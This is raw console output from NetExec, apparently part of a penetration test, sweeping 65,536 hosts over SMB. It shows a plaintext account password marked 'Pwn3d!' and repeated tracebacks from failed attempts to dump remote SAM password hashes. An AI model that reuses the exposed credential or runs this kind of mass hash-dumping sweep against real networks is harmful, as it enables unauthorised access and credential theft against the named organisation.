oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT0316131 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT033511 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT033911 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT032611 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT031011 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXFDT030003 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT030911 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT030621 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT031931 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT030921 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT032711 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT031511 [-] Connection Error: [Errno
104] Connection reset by peer
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXFLT030014 [-] Connection Error: [Errno


104] Connection reset by peer
SMB [Link] 445 OXODT033021 [-] Connection Error: [Errno
104] Connection reset by peer
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT031911 [-] Connection Error: [Errno


104] Connection reset by peer
SMB [Link] 445 OXODT030411 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT034111 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT030711 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT031641 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT031711 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT031821 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT0316121 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT031691 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXFLT030010 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXFLT030009 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT031671 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXFLT030016 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT034611 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT034811 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT031411 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT032521 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT032311 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT030311 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT034821 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT0316101 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT031311 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT032511 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT031661 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXFLT030013 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT032211 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT034211 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT030211 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT033431 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT032811 [-] Connection Error: [Errno
104] Connection reset by peer
Running nxc against 65536 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100%
[Link]

You might also like